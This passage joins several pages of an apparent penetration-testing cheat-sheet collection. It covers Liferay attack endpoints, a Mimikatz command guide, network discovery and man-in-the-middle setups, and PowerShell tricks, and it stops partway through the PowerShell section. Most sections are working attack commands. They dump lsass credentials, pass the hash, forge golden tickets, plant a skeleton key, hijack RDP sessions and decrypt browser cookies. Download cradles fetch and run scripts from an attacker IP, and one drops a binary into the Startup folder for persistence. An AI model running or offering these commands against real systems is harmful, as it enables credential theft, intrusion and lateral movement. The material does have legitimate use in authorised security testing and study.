/?p_p_id=58&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view&_com_liferay_login_web_portlet_LoginPortlet_mvcRenderCommandName=%2Flogin%2Fcreate_account
/?p_p_id=58&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view&saveLastPath=false&_58_struts_action=%2Flogin%2Flogin&_com_liferay_login_web_portlet_LoginPortlet_mvcRenderCommandName=%2Flogin%2Fcreate_account
/?p_p_id=com_liferay_login_web_portlet_LoginPortlet&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view&_com_liferay_login_web_portlet_LoginPortlet_mvcRenderCommandName=%2Flogin%2Fcreate_account
/?p_p_id=com_liferay_login_web_portlet_LoginPortlet&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view&saveLastPath=false&_58_struts_action=%2Flogin%2Flogin&_com_liferay_login_web_portlet_LoginPortlet_mvcRenderCommandName=%2Flogin%2Fcreate_account
```
## User Profile
```ps1
/web/<user>
/web/<user>/home
/user/<other_user>/control_panel/manage
/user/<other_user>/~/control_panel/manage
/web/guest
/web/guest/home
```
## User Configuration
```ps1
/user/<user>
/user/<user>/manage
/user/<user>/manage?p_p_id=com_liferay_my_account_web_portlet_MyAccountPortlet&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view
/group/control_panel/manage?p_p_id=com_liferay_my_account_web_portlet_MyAccountPo
```
## Control Panel
Endpoints reachable by authenticated users.
```ps1
/group/control_panel/manage
/group/guest/control_panel/manage
/group/guest/~/control_panel/manage
/group/<user>/control_panel/manage
/group/<user>/~/control_panel/manage
/user/<user>/control_panel/manage
/user/<user>/~/control_panel/manage
```
## API
* [nuclei-templates/http/misconfiguration/liferay/liferay-axis.yaml](https://github.com/projectdiscovery/nuclei-templates/blob/main/http/misconfiguration/liferay/liferay-axis.yaml)
* [nuclei-templates/http/misconfiguration/liferay/liferay-jsonws.yaml](https://github.com/projectdiscovery/nuclei-templates/blob/main/http/misconfiguration/liferay/liferay-jsonws.yaml)
* [nuclei-templates/http/misconfiguration/liferay/liferay-api.yaml](https://github.com/projectdiscovery/nuclei-templates/blob/main/http/misconfiguration/liferay/liferay-api.yaml)
| Name | Path |
| ----------------- | ------------- |
| JSON Web Services | `/api/jsonws` |
| SOAP | `/api/axis` |
| GraphQL | `/o/graphql` |
| JSON and GraphQL | `/o/api` |
## Vulnerabilities
* [liferay.dev/known-vulnerabilities](https://liferay.dev/portal/security/known-vulnerabilities)
* [ilmila/J2EEScan](https://github.com/ilmila/J2EEScan/blob/master/src/main/java/burp/j2ee/issues/impl/LiferayAPI.java)
### Open Redirect
```ps1
/html/common/referer_jsp.jsp?referer=<url>
/html/common/referer_js.jsp?referer=<url>
/html/common/forward_jsp.jsp?FORWARD_URL=<url>
/html/common/forward_js.jsp?FORWARD_URL=<url>
```
### Code Execution on Administrator Control Panel
Gogo shell, read files
```ps1
/group/control_panel/manage?p_p_id=com_liferay_gogo_shell_web_internal_portlet_GogoShellPortlet&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view&_com_liferay_gogo_shell_web_internal_portlet_GogoShellPortlet_javax.portlet.action=executeCommand
```
Groovy Interpreter
```ps1
/group/control_panel/manage?p_p_id=com_liferay_server_admin_web_portlet_ServerAdminPortlet&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view&_com_liferay_server_admin_web_portlet_ServerAdminPortlet_mvcRenderCommandName=%2Fserver_admin%2Fview&_com_liferay_server_admin_web_portlet_ServerAdminPortlet_tabs1=script
```
### Resource Leakage Through I18nServlet
Liferay is vulnerable to local file inclusion in the I18n Servlet because it leaks information via sending an HTTP request to /[language]/[resource];.js (also .jsp works). [nuclei-templates/http/vulnerabilities/j2ee/liferay-resource-leak.yaml](https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/j2ee/liferay-resource-leak.yaml)
* Liferay Portal 7.3.0 GA1
* Liferay Portal 7.0.2 GA3
### Remote Code Execution via JSON web services
* [nuclei-templates/http/cves/2020/CVE-2020-7961.yaml](https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2020/CVE-2020-7961.yaml)
## References
* [Pentesting Liferay Applications - Víctor Fresco - February 6, 2025](https://www.tarlogic.com/blog/pentesting-liferay-applications/)
* [How to exploit Liferay CVE-2020-7961 : quick journey to PoC - Thomas Etrillard - March 30, 2020](https://www.synacktiv.com/en/publications/how-to-exploit-liferay-cve-2020-7961-quick-journey-to-poc.html)

View File

@@ -0,0 +1,321 @@
# Mimikatz
## Summary
* [Execute commands](#execute-commands)
* [Extract passwords](#extract-passwords)
* [LSA Protection Workaround](#lsa-protection-workaround)
* [Mini Dump](#mini-dump)
* [Pass The Hash](#pass-the-hash)
* [Golden ticket](#golden-ticket)
* [Skeleton key](#skeleton-key)
* [RDP Session Takeover](#rdp-session-takeover)
* [RDP Passwords](#rdp-passwords)
* [Credential Manager & DPAPI](#credential-manager--dpapi)
* [Chrome Cookies & Credential](#chrome-cookies--credential)
* [Task Scheduled credentials](#task-scheduled-credentials)
* [Vault](#vault)
* [Commands list](#commands-list)
* [Powershell version](#powershell-version)
* [References](#references)
![Data in memory](http://adsecurity.org/wp-content/uploads/2014/11/Delpy-CredentialDataChart.png)
## Execute commands
Only one command
```powershell
PS C:\temp\mimikatz> .\mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit
```
Mimikatz console (multiple commands)
```powershell
PS C:\temp\mimikatz> .\mimikatz
mimikatz # privilege::debug
mimikatz # log
mimikatz # sekurlsa::logonpasswords
mimikatz # sekurlsa::wdigest
```
## Extract passwords
> Microsoft disabled lsass clear text storage since Win8.1 / 2012R2+. It was backported (KB2871997) as a reg key on Win7 / 8 / 2008R2 / 2012 but clear text is still enabled.
```powershell
mimikatz_command -f sekurlsa::logonPasswords full
mimikatz_command -f sekurlsa::wdigest
# to re-enable wdigest in Windows Server 2012+
# in HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest
# create a DWORD 'UseLogonCredential' with the value 1.
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /f /d 1
```
:warning: To take effect, conditions are required :
* Win7 / 2008R2 / 8 / 2012 / 8.1 / 2012R2:
* Adding requires lock
* Removing requires signout
* Win10:
* Adding requires signout
* Removing requires signout
* Win2016:
* Adding requires lock
* Removing requires reboot
## LSA Protection Workaround
* LSA as a Protected Process (RunAsPPL)
```powershell
# Check if LSA runs as a protected process by looking if the variable "RunAsPPL" is set to 0x1
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa
# Next upload the mimidriver.sys from the official mimikatz repo to same folder of your mimikatz.exe
# Now lets import the mimidriver.sys to the system
mimikatz # !+
# Now lets remove the protection flags from lsass.exe process
mimikatz # !processprotect /process:lsass.exe /remove
# Finally run the logonpasswords function to dump lsass
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # sekurlsa::logonpasswords
# Now lets re-add the protection flags to the lsass.exe process
mimikatz # !processprotect /process:lsass.exe
# Unload the service created
mimikatz # !-
# https://github.com/itm4n/PPLdump
PPLdump.exe [-v] [-d] [-f] <PROC_NAME|PROC_ID> <DUMP_FILE>
PPLdump.exe lsass.exe lsass.dmp
PPLdump.exe -v 720 out.dmp
```
* LSA is running as virtualized process (LSAISO) by **Credential Guard**
```powershell
# Check if a process called lsaiso.exe exists on the running processes
tasklist |findstr lsaiso
# Lets inject our own malicious Security Support Provider into memory
# require mimilib.dll in the same folder
mimikatz # misc::memssp
# Now every user session and authentication into this machine will get logged and plaintext credentials will get captured and dumped into c:\windows\system32\mimilsa.log
```
## Mini Dump
Dump the lsass process with `procdump`
> Windows Defender is triggered when a memory dump of lsass is operated, quickly leading to the deletion of the dump. Using lsass's process identifier (pid) "bypasses" that.
```powershell
# HTTP method - using the default way
certutil -urlcache -split -f http://live.sysinternals.com/procdump.exe C:\Users\Public\procdump.exe
C:\Users\Public\procdump.exe -accepteula -ma lsass.exe lsass.dmp
# SMB method - using the pid
net use Z: https://live.sysinternals.com
tasklist /fi "imagename eq lsass.exe" # Find lsass's pid
Z:\procdump.exe -accepteula -ma $lsass_pid lsass.dmp
```
Dump the lsass process with `rundll32`
```powershell
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsass_pid C:\temp\lsass.dmp full
```
Use the minidump:
* Mimikatz: `.\mimikatz.exe "sekurlsa::minidump lsass.dmp"`
```powershell
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonPasswords
```
* Pypykatz: `pypykatz lsa minidump lsass.dmp`
## Pass The Hash
```powershell
mimikatz # sekurlsa::pth /user:SCCM$ /domain:IDENTITY /ntlm:e722dfcd077a2b0bbe154a1b42872f4e /run:powershell
```
## Golden ticket
```powershell
.\mimikatz kerberos::golden /admin:ADMINACCOUNTNAME /domain:DOMAINFQDN /id:ACCOUNTRID /sid:DOMAINSID /krbtgt:KRBTGTPASSWORDHASH /ptt
```
```powershell
.\mimikatz "kerberos::golden /admin:DarthVader /domain:rd.lab.adsecurity.org /id:9999 /sid:S-1-5-21-135380161-102191138-581311202 /krbtgt:13026055d01f235d67634e109da03321 /startoffset:0 /endin:600 /renewmax:10080 /ptt" exit
```
## Skeleton key
```powershell
privilege::debug
misc::skeleton
# map the share
net use p: \\WIN-PTELU2U07KG\admin$ /user:john mimikatz
# login as someone
rdesktop 10.0.0.2:3389 -u test -p mimikatz -d pentestlab
```
## RDP Session Takeover
Use `ts::multirdp` to patch the RDP service to allow more than two users.
* Enable privileges
```powershell
privilege::debug
token::elevate
```
* List RDP sessions
```powershell
ts::sessions
```
* Hijack session
```powershell
ts::remote /id:2
```
Run `tscon.exe` as the SYSTEM user, you can connect to any session without a password.
```powershell
# get the Session ID you want to hijack
query user
create sesshijack binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#55"
net start sesshijack
```
## RDP Passwords
Verify if the service is running:
```ps1
sc queryex termservice
tasklist /M:rdpcorets.dll
netstat -nob | Select-String TermService -Context 1
```
* Extract passwords manually
```ps1
procdump64.exe -ma 988 -accepteula C:\svchost.dmp
strings -el svchost* | grep Password123 -C3
```
* Extract passwords using Mimikatz
```ps1
privilege::debug
ts::logonpasswords
```
## Credential Manager & DPAPI
```powershell
# check the folder to find credentials
dir C:\Users\<username>\AppData\Local\Microsoft\Credentials\*
# check the file with mimikatz
$ mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0
# find master key
$ mimikatz !sekurlsa::dpapi
# use master key
$ mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0 /masterkey:95664450d90eb2ce9a8b1933f823b90510b61374180ed5063043273940f50e728fe7871169c87a0bba5e0c470d91d21016311727bce2eff9c97445d444b6a17b
```
### Chrome Cookies & Credential
```powershell
# Saved Cookies
dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Cookies" /unprotect
dpapi::chrome /in:"C:\Users\kbell\AppData\Local\Google\Chrome\User Data\Default\Cookies" /masterkey:9a6f199e3d2e698ce78fdeeefadc85c527c43b4e3c5518c54e95718842829b12912567ca0713c4bd0cf74743c81c1d32bbf10020c9d72d58c99e731814e4155b
# Saved Credential in Chrome
dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data" /unprotect
```
### Task Scheduled credentials
```powershell
mimikatz(commandline) # vault::cred /patch
TargetName : Domain:batch=TaskScheduler:Task:{CF3ABC3E-4B17-ABCD-0003-A1BA192CDD0B} / <NULL>
UserName : DOMAIN\user
Comment : <NULL>
Type : 2 - domain_password
Persist : 2 - local_machine
Flags : 00004004
Credential : XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Attributes : 0
```
### Vault
```powershell
vault::cred /in:C:\Users\demo\AppData\Local\Microsoft\Vault\"
```
## Commands list
| Command |Definition|
|:----------------:|:---------------|
| CRYPTO::Certificates|list/export certificates|
|CRYPTO::Certificates | list/export certificates|
|KERBEROS::Golden | create golden/silver/trust tickets|
|KERBEROS::List | list all user tickets (TGT and TGS) in user memory. No special privileges required since it only displays the current users tickets.Similar to functionality of “klist”.|
|KERBEROS::PTT | pass the ticket. Typically used to inject a stolen or forged Kerberos ticket (golden/silver/trust).|
|LSADUMP::DCSync | ask a DC to synchronize an object (get password data for account). No need to run code on DC.|
|LSADUMP::LSA | Ask LSA Server to retrieve SAM/AD enterprise (normal, patch on the fly or inject). Use to dump all Active Directory domain credentials from a Domain Controller or lsass.dmp dump file. Also used to get specific account credential such as krbtgt with the parameter /name: “/name:krbtgt”|
|LSADUMP::SAM | get the SysKey to decrypt SAM entries (from registry or hive). The SAM option connects to the local Security Account Manager (SAM) database and dumps credentials for local accounts. This is used to dump all local credentials on a Windows computer.|
|LSADUMP::Trust | Ask LSA Server to retrieve Trust Auth Information (normal or patch on the fly). Dumps trust keys (passwords) for all associated trusts (domain/forest).|
|MISC::AddSid | Add to SIDHistory to user account. The first value is the target account and the second value is the account/group name(s) (or SID). Moved to SID:modify as of May 6th, 2016.|
|MISC::MemSSP | Inject a malicious Windows SSP to log locally authenticated credentials.|
|MISC::Skeleton | Inject Skeleton Key into LSASS process on Domain Controller. This enables all user authentication to the Skeleton Key patched DC to use a “master password” (aka Skeleton Keys) as well as their usual password.|
|PRIVILEGE::Debug | get debug rights (this or Local System rights is required for many Mimikatz commands).|
|SEKURLSA::Ekeys | list Kerberos encryption keys|
|SEKURLSA::Kerberos | List Kerberos credentials for all authenticated users (including services and computer account)|
|SEKURLSA::Krbtgt | get Domain Kerberos service account (KRBTGT)password data|
|SEKURLSA::LogonPasswords | lists all available provider credentials. This usually shows recently logged on user and computer credentials.|
|SEKURLSA::Pth | Pass- theHash and Over-Pass-the-Hash|
|SEKURLSA::Tickets | Lists all available Kerberos tickets for all recently authenticated users, including services running under the context of a user account and the local computers AD computer account. Unlike kerberos::list, sekurlsa uses memory reading and is not subject to key export restrictions. sekurlsa can access tickets of others sessions (users).|
|TOKEN::List | list all tokens of the system|
|TOKEN::Elevate | impersonate a token. Used to elevate permissions to SYSTEM (default) or find a domain admin token on the box|
|TOKEN::Elevate /domainadmin | impersonate a token with Domain Admin credentials.|
## Powershell version
Mimikatz in memory (no binary on disk) with :
* [Invoke-Mimikatz](https://raw.githubusercontent.com/PowerShellEmpire/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1) from PowerShellEmpire
* [Invoke-Mimikatz](https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1) from PowerSploit
More information can be grabbed from the Memory with :
* [Invoke-Mimikittenz](https://raw.githubusercontent.com/putterpanda/mimikittenz/master/Invoke-mimikittenz.ps1)
## References
* [Unofficial Guide to Mimikatz & Command Reference](https://adsecurity.org/?page_id=1821)
* [Skeleton Key](https://pentestlab.blog/2018/04/10/skeleton-key/)
* [Reversing Wdigest configuration in Windows Server 2012 R2 and Windows Server 2016 - 5TH DECEMBER 2017 - ACOUCH](https://www.adamcouch.co.uk/reversing-wdigest-configuration-in-windows-server-2012-r2-and-windows-server-2016/)
* [Dumping RDP Credentials - MAY 24, 2021](https://pentestlab.blog/2021/05/24/dumping-rdp-credentials/)

View File

@@ -0,0 +1,44 @@
# Miscellaneous & Tricks
All the tricks that couldn't be classified somewhere else.
## Send Messages to Other Users
* Windows
```powershell
PS C:\> msg Swissky /SERVER:CRASHLAB "Stop rebooting the XXXX service !"
PS C:\> msg * /V /W /SERVER:CRASHLAB "Hello all !"
```
* Linux
```powershell
wall "Stop messing with the XXX service !"
wall -n "System will go down for 2 hours maintenance at 13:00 PM" # "-n" only for root
who
write root pts/2 # press Ctrl+D after typing the message.
```
## NetExec Credential Database
```ps1
nxcdb (default) > workspace create test
nxcdb (test) > workspace default
nxcdb (test) > proto smb
nxcdb (test)(smb) > creds
nxcdb (test)(smb) > export creds csv /tmp/creds
```
NetExec workspaces
```ps1
# get current workspace
poetry run nxcdb -gw
# create workspace
poetry run nxcdb -cw testing
# set workspace
poetry run nxcdb -sw testing
```

View File

@@ -0,0 +1,372 @@
# Network Discovery
## MAC Address
* [mac2vendor.com](https://mac2vendor.com/) - OUI Database Lookup
* [oui.is](https://oui.is/) - MAC Address Vendor Lookup
| MAC Prefix | Description |
| ---------- | --------------------- |
| FC:D4:F2 | Coca Cola Company |
| 00:9E:C8 | Xiaomi Communications |
| 08:9E:08 | Google |
```ps1
sudo ifconfig <interface-name> down
sudo ifconfig <interface-name> hw ether <new-mac-address>
sudo ifconfig <interface-name> up
```
## DHCP
DHCP (Dynamic Host Configuration Protocol) is a networking protocol used to automatically assign IP addresses and other network configuration parameters to devices on a network. DHCP allows devices to obtain necessary network configuration information from a DHCP server, rather than having to be manually configured.
```ps1
sudo nmap --script broadcast-dhcp-discover
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-04 11:15 CET
Pre-scan script results:
| broadcast-dhcp-discover:
| Response 1 of 1:
| Interface: eth0
| IP Offered: 192.168.1.111
| DHCP Message Type: DHCPOFFER
| Server Identifier: 192.168.1.254
| IP Address Lease Time: 1d00h00m00s
| Renewal Time Value: 12h00m00s
| Rebinding Time Value: 21h00m00s
| Broadcast Address: 192.168.1.255
| Hostname: Host-005
| Domain Name Server: 192.168.1.254
| Domain Name: lan
| Router: 192.168.1.254
|_ Subnet Mask: 255.255.255.0
```
## DNS
* AD DNS
* LDAP: `nslookup -type=srv _ldap._tcp.dc._msdcs.<domain name>`
* KDC: `nslookup -type=srv _kerberos._tcp.<domain name>`
* Global catalog: `nslookup -type=srv _ldap._tcp.<domain name>`
## NBT-NS
NS (Name Service) is a component of NBT that provides name resolution services for NETBIOS names. In the context of NBT, NS is responsible for mapping NETBIOS names to IP addresses.
NBT NS uses a distributed database to store NETBIOS name-to-IP address mappings. Each computer on the network is responsible for registering its own name and IP address in the database, and for resolving names to IP addresses when necessary. When a computer needs to resolve a NETBIOS name to an IP address, it sends a query to the NBT NS service on another computer on the network. The NBT NS service responds with the IP address associated with the requested name, if it is known. It works on `UDP, Port 137`.
* Get names: `nbtscan -r 192.168.1.0/24`
* Get the name for a single IP: `nmblookup -A <IP>`
## MDNS
MDNS (Multicast Domain Name System) is a protocol used for zero-configuration networking, also known as "zeroconf". It allows devices on a local network to automatically discover each other and resolve hostnames to IP addresses without the need for a centralized DNS server.
MDNS works by using multicast addresses to send DNS queries and responses. When a device wants to resolve a hostname to an IP address, it sends a multicast DNS query to a special multicast address (224.0.0.251 for IPv4 and ff02::fb for IPv6). Any device on the network that is listening for multicast DNS queries and has a matching hostname will respond with its IP address.
```ps1
mdns-scan
```
## ARP
ARP (Address Resolution Protocol) is a networking protocol used to map IP addresses to MAC (Media Access Control) addresses on a local area network (LAN).
* ARP neighbors
```ps1
:~$ ip neigh
192.168.122.1 dev enp1s0 lladdr 52:54:00:ff:0a:2c STALE
192.168.122.98 dev enp1s0 lladdr 52:54:00:ff:aa:bb STALE
```
* ARP scan with `nmap` - note, needs root privileges. Check what packets nmap is sending with `--packet-trace`
```ps1
:~# nmap -sn -n 192.168.122.0/24
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 192.168.122.1
Host is up (0.00032s latency).
MAC Address: 52:54:00:FF:0A:2C (QEMU virtual NIC)
```
* ARP scan with `arp-scan`
```ps1
root@kali:~# arp-scan -l
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
172.16.193.1 00:50:56:c0:00:08 VMware, Inc.
172.16.193.2 00:50:56:f1:18:a8 VMware, Inc.
172.16.193.254 00:50:56:e5:7b:87 VMware, Inc.
```
* ARP spoof with `arpspoof`
```ps1
arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host
arpspoof -i wlan0 -t 10.0.0.X 10.0.0.Y
```
* ARP spoof with `Bettercap`
```ps1
sudo bettercap -iface wlan0
net.probe on
set arp.spoof.targets <target_IP>
arp.spoof on
net.sniff on
```
## Ping
* Ping sweep with `nmap`: no port scan, no DNS resolution
```powershell
nmap -sn -n --disable-arp-ping 192.168.1.1-254 | grep -v "host down"
-sn : Disable port scanning. Host discovery only.
-n : Never do DNS resolution
```
## LDAP
* Null bind connection: `ldapsearch -x -h <ip> -s base`
## Port Scans and Enumeration
### Nmap
* Basic NMAP
```bash
sudo nmap -sSV -p- 192.168.0.1 -oA OUTPUTFILE -T4
sudo nmap -sSV -oA OUTPUTFILE -T4 -iL INPUTFILE.csv
• the flag -sSV defines the type of packet to send to the server and tells Nmap to try and determine any service on open ports
• the -p- tells Nmap to check all 65,535 ports (by default it will only check the most popular 1,000)
• 192.168.0.1 is the IP address to scan
• -oA OUTPUTFILE tells Nmap to output the findings in its three major formats at once using the filename "OUTPUTFILE"
• -iL INPUTFILE tells Nmap to use the provided file as inputs
```
* CTF NMAP
This configuration is enough to do a basic check for a CTF VM
```bash
nmap -sV -sC -oA ~/nmap-initial 192.168.1.1
-sV : Probe open ports to determine service/version info
-sC : to enable the script
-oA : to save the results
After this quick command you can add "-p-" to run a full scan while you work with the previous result
```
* Aggressive NMAP
```bash
nmap -A -T4 scanme.nmap.org
• -A: Enable OS detection, version detection, script scanning, and traceroute
• -T4: Defines the timing for the task (options are 0-5 and higher is faster)
```
* Using searchsploit to detect vulnerable services
```bash
nmap -p- -sV -oX a.xml IP_ADDRESS; searchsploit --nmap a.xml
```
* Generating nice scan report
```bash
nmap -sV IP_ADDRESS -oX scan.xml && xsltproc scan.xml -o "`date +%m%d%y`_report.html"
```
* NMAP Scripts
```bash
nmap -sC : equivalent to --script=default
nmap --script 'http-enum' -v web.xxxx.com -p80 -oN http-enum.nmap
PORT STATE SERVICE
80/tcp open http
| http-enum:
| /phpmyadmin/: phpMyAdmin
| /.git/HEAD: Git folder
| /css/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)'
|_ /image/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)'
nmap --script smb-enum-users.nse -p 445 [target host]
Host script results:
| smb-enum-users:
| METASPLOITABLE\backup (RID: 1068)
| Full name: backup
| Flags: Account disabled, Normal user account
| METASPLOITABLE\bin (RID: 1004)
| Full name: bin
| Flags: Account disabled, Normal user account
| METASPLOITABLE\msfadmin (RID: 3000)
| Full name: msfadmin,,,
| Flags: Normal user account
List Nmap scripts : ls /usr/share/nmap/scripts/
```
### Network Scan with nc and ping
Sometimes we want to perform network scan without any tools like nmap. So we can use the commands `ping` and `nc` to check if a host is up and which port is open.
To check if hosts are up on a /24 range
```bash
for i in `seq 1 255`; do ping -c 1 -w 1 192.168.1.$i > /dev/null 2>&1; if [ $? -eq 0 ]; then echo "192.168.1.$i is UP"; fi ; done
```
To check which ports are open on a specific host
```bash
for i in {21,22,80,139,443,445,3306,3389,8080,8443}; do nc -z -w 1 192.168.1.18 $i > /dev/null 2>&1; if [ $? -eq 0 ]; then echo "192.168.1.18 has port $i open"; fi ; done
```
Both at the same time on a /24 range
```bash
for i in `seq 1 255`; do ping -c 1 -w 1 192.168.1.$i > /dev/null 2>&1; if [ $? -eq 0 ]; then echo "192.168.1.$i is UP:"; for j in {21,22,80,139,443,445,3306,3389,8080,8443}; do nc -z -w 1 192.168.1.$i $j > /dev/null 2>&1; if [ $? -eq 0 ]; then echo "\t192.168.1.$i has port $j open"; fi ; done ; fi ; done
```
Not in one-liner version:
```bash
for i in `seq 1 255`;
do
ping -c 1 -w 1 192.168.1.$i > /dev/null 2>&1;
if [ $? -eq 0 ];
then
echo "192.168.1.$i is UP:";
for j in {21,22,80,139,443,445,3306,3389,8080,8443};
do
nc -z -w 1 192.168.1.$i $j > /dev/null 2>&1;
if [ $? -eq 0 ];
then
echo "\t192.168.1.$i has port $j open";
fi ;
done ;
fi ;
done
```
### Network Scan with PowerShell
```powershell
# ping scan
tnc 8.8.8.8
# port scan
tnc 8.8.8.8 -port 443
```
### Masscan
```powershell
masscan -iL ips-online.txt --rate 10000 -p1-65535 --only-open -oL masscan.out
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.97 --rate 1000
# find machines on the network
sudo masscan --rate 500 --interface tap0 --router-ip $ROUTER_IP --top-ports 100 $NETWORK -oL masscan_machines.tmp
cat masscan_machines.tmp | grep open | cut -d " " -f4 | sort -u > masscan_machines.lst
# find open ports for one machine
sudo masscan --rate 1000 --interface tap0 --router-ip $ROUTER_IP -p1-65535,U:1-65535 $MACHINE_IP --banners -oL $MACHINE_IP/scans/masscan-ports.lst
# TCP grab banners and services information
TCP_PORTS=$(cat $MACHINE_IP/scans/masscan-ports.lst| grep open | grep tcp | cut -d " " -f3 | tr '\n' ',' | head -c -1)
[ "$TCP_PORTS" ] && sudo nmap -sT -sC -sV -v -Pn -n -T4 -p$TCP_PORTS --reason --version-intensity=5 -oA $MACHINE_IP/scans/nmap_tcp $MACHINE_IP
# UDP grab banners and services information
UDP_PORTS=$(cat $MACHINE_IP/scans/masscan-ports.lst| grep open | grep udp | cut -d " " -f3 | tr '\n' ',' | head -c -1)
[ "$UDP_PORTS" ] && sudo nmap -sU -sC -sV -v -Pn -n -T4 -p$UDP_PORTS --reason --version-intensity=5 -oA $MACHINE_IP/scans/nmap_udp $MACHINE_IP
```
### Reconnoitre
Dependencies:
* nbtscan
* nmap
```powershell
python2.7 ./reconnoitre.py -t 192.168.1.2-252 -o ./results/ --pingsweep --hostnames --services --quick
```
If you have a segfault with nbtscan, read the following quote.
> Permission is denied on the broadcast address (.0) and it segfaults on the gateway (.1) - all other addresses seem fine here.So to mitigate the problem: nbtscan 192.168.0.2-255
## Netdiscover
```powershell
netdiscover -i eth0 -r 192.168.1.0/24
Currently scanning: Finished! | Screen View: Unique Hosts
20 Captured ARP Req/Rep packets, from 4 hosts. Total size: 876
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.1.AA 68:AA:AA:AA:AA:AA 15 630 Sagemcom
192.168.1.XX 52:XX:XX:XX:XX:XX 1 60 Unknown vendor
192.168.1.YY 24:YY:YY:YY:YY:YY 1 60 QNAP Systems, Inc.
192.168.1.ZZ b8:ZZ:ZZ:ZZ:ZZ:ZZ 3 126 HUAWEI TECHNOLOGIES CO.,LTD
```
## Responder
```powershell
responder -I eth0 -A # see NBT-NS, BROWSER, LLMNR requests without responding.
responder.py -I eth0 -wrf
```
Alternatively you can use the [Windows version](https://github.com/lgandx/Responder-Windows)
## MITM
* WSUS poisoning
* ARP poisoning
* DHCP poisoning: `responder --interface "eth0" --DHCP --wpad`
### Bettercap
```powershell
bettercap -X --proxy --proxy-https -T <target IP>
# better cap in spoofing, discovery, sniffer
# intercepting http and https requests,
# targetting specific IP only
```
### SSL MITM with OpenSSL
This code snippet allows you to sniff/modify SSL traffic if there is a MITM vulnerability using only openssl.
If you can modify `/etc/hosts` of the client:
```powershell
sudo echo "[OPENSSL SERVER ADDRESS] [domain.of.server.to.mitm]" >> /etc/hosts # On client host
```
On our MITM server, if the client accepts self signed certificates (you can use a legit certificate if you have the private key of the legit server):
```powershell
openssl req -subj '/CN=[domain.of.server.to.mitm]' -batch -new -x509 -days 365 -nodes -out server.pem -keyout server.pem
```
On our MITM server, we setup our infra:
```powershell
mkfifo response
sudo openssl s_server -cert server.pem -accept [INTERFACE TO LISTEN TO]:[PORT] -quiet < response | tee | openssl s_client -quiet -servername [domain.of.server.to.mitm] -connect[IP of server to MITM]:[PORT] | tee | cat > response
```
In this example, traffic is only displayed with `tee` but we could modify it using `sed` for example.
## References
* [Pwning the Domain: Credentialess/Username - hadess - February 7, 2024](https://hadess.io/pwning-the-domain-credentialess-username/)

View File

@@ -0,0 +1,364 @@
# Powershell
## Summary
- [Powershell](#powershell)
- [Summary](#summary)
- [Execution Policy](#execution-policy)
- [Encoded Commands](#encoded-commands)
- [Constrained Mode](#constrained-mode)
- [Encoded Commands](#encoded-commands)
- [Download file](#download-file)
- [Load Powershell scripts](#load-powershell-scripts)
- [Load C# assembly reflectively](#load-c-assembly-reflectively)
- [Call Win API using delegate functions with Reflection](#call-win-api-using-delegate-functions-with-reflection)
- [Resolve address functions](#resolve-address-functions)
- [DelegateType Reflection](#delegatetype-reflection)
- [Example with a simple shellcode runner](#example-with-a-simple-shellcode-runner)
- [Secure String to Plaintext](#secure-string-to-plaintext)
- [References](#references)
## Execution Policy
```ps1
powershell -EncodedCommand $encodedCommand
powershell -ep bypass ./PowerView.ps1
# Change execution policy
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
Set-ExecutionPolicy Bypass -Scope Process
```
## Constrained Mode
```ps1
# Check if we are in a constrained mode
# Values could be: FullLanguage or ConstrainedLanguage
$ExecutionContext.SessionState.LanguageMode
## Bypass
powershell -version 2
```
## Encoded Commands
- Windows
```ps1
$command = 'IEX (New-Object Net.WebClient).DownloadString("http://10.10.10.10/PowerView.ps1")'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
```
- Linux: :warning: UTF-16LE encoding is required
```ps1
echo 'IEX (New-Object Net.WebClient).DownloadString("http://10.10.10.10/PowerView.ps1")' | iconv -t utf-16le | base64 -w 0
```
## Download file
```ps1
# Any version
(New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/PowerView.ps1", "C:\Windows\Temp\PowerView.ps1")
wget "http://10.10.10.10/taskkill.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
Import-Module BitsTransfer; Start-BitsTransfer -Source $url -Destination $output
# Powershell 4+
IWR "http://10.10.10.10/binary.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\binary.exe"
